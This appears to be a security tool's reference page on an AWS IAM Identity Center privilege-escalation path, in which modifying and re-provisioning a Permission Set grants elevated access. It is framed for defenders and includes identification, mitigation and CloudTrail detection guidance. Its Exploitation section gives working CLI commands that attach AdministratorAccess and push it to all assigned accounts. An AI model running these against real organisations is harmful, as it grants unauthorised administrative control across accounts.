AWS_SSO_UPDATE_PERMISSION_SET

Summary

Forestall ACL Alias	AWS_SSO_UPDATE_PERMISSION_SET
Affected Object Types	AWSIAMUser|AWSIAMRole → AWSPermissionSet
Exploitation Certainty	High
AWS IAM Action	sso:PutInlinePolicyToPermissionSet | sso:AttachManagedPolicyToPermissionSet | sso:AttachCustomerManagedPolicyReferenceToPermissionSet + sso:ProvisionPermissionSet

Description

Account gate: This edge is only emitted for IAM principals that reside in the Organizations management account or an IAM Identity Center delegated-administrator account (service principal sso.amazonaws.com). Principals in any other member account receive AccessDenied from all SSO Admin APIs regardless of their IAM permissions.

An attacker who can modify a Permission Set's policy and re-provision it can escalate privileges for every principal that holds that Permission Set. They expand the policy, then call sso:ProvisionPermissionSet to push the change to all assigned accounts at once.

This is a consolidated privesc edge. Any one of the three policy-attachment actions is enough when paired with sso:ProvisionPermissionSet on the same Permission Set ARN. Those actions are sso:PutInlinePolicyToPermissionSet, sso:AttachManagedPolicyToPermissionSet, and sso:AttachCustomerManagedPolicyReferenceToPermissionSet.

Edge semantics: (Attacker:AWSIAMUser|AWSIAMRole) -[AWS_SSO_UPDATE_PERMISSION_SET]-> (Target:AWSPermissionSet)

Precondition: the target Permission Set must have at least one account assignment. Without an assignment, provisioning has no effect.

Identification

# List all permission sets in Identity Center
aws sso-admin list-permission-sets \
  --instance-arn <instance-arn>

# Check who can attach policies to a permission set
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names sso:AttachManagedPolicyToPermissionSet sso:ProvisionPermissionSet \
  --resource-arns <permission-set-arn>

# View existing account assignments for a permission set
aws sso-admin list-account-assignments \
  --instance-arn <instance-arn> \
  --account-id <account-id> \
  --permission-set-arn <permission-set-arn>

PowerShell (AWS Tools):

Get-SSOAdminPermissionSetList -InstanceArn "<instance-arn>"

Exploitation

# Step 1: Attach an administrator managed policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --managed-policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Step 2: Re-provision the permission set to all assigned accounts
aws sso-admin provision-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --target-type ALL_PROVISIONED_ACCOUNTS

Mitigation

• Restrict sso:PutInlinePolicyToPermissionSet, sso:AttachManagedPolicyToPermissionSet, sso:AttachCustomerManagedPolicyReferenceToPermissionSet, and sso:ProvisionPermissionSet to dedicated Identity Center administrator roles. Deny these actions for all other principals.

• Use SCPs to block modification of Permission Sets assigned to privileged accounts.

• Enforce permission boundaries on Permission Sets so that policy changes cannot exceed the boundary, even if the policy itself is rewritten.

• Apply least-privilege policies to all Permission Sets. Avoid attaching AdministratorAccess unless there is no narrower alternative.

• Enable AWS IAM Identity Center audit logging. Alert on any Permission Set policy change that is followed by a provisioning event.

Detection

CloudTrail Event	Description	Key Fields
AttachManagedPolicyToPermissionSet	A managed policy was attached to a Permission Set	requestParameters.permissionSetArn, requestParameters.managedPolicyArn, userIdentity.arn
PutInlinePolicyToPermissionSet	An inline policy was added or updated on a Permission Set	requestParameters.permissionSetArn, requestParameters.inlinePolicy, userIdentity.arn
AttachCustomerManagedPolicyReferenceToPermissionSet	A customer-managed policy was attached	requestParameters.permissionSetArn, userIdentity.arn
ProvisionPermissionSet	The Permission Set was provisioned to accounts	requestParameters.permissionSetArn, requestParameters.targetType, userIdentity.arn

Alert when a Permission Set policy is modified and a provisioning event follows within a short window. Pay extra attention if that Permission Set is assigned to privileged accounts.

References

• AWS IAM Identity Center: Manage Permission Sets

• AWS SSO Admin API: AttachManagedPolicyToPermissionSet

• AWS SSO Admin API: ProvisionPermissionSet

• HackTricks: AWS IAM Identity Center Privilege Escalation

• Rhino Security Labs: AWS Privilege Escalation Methods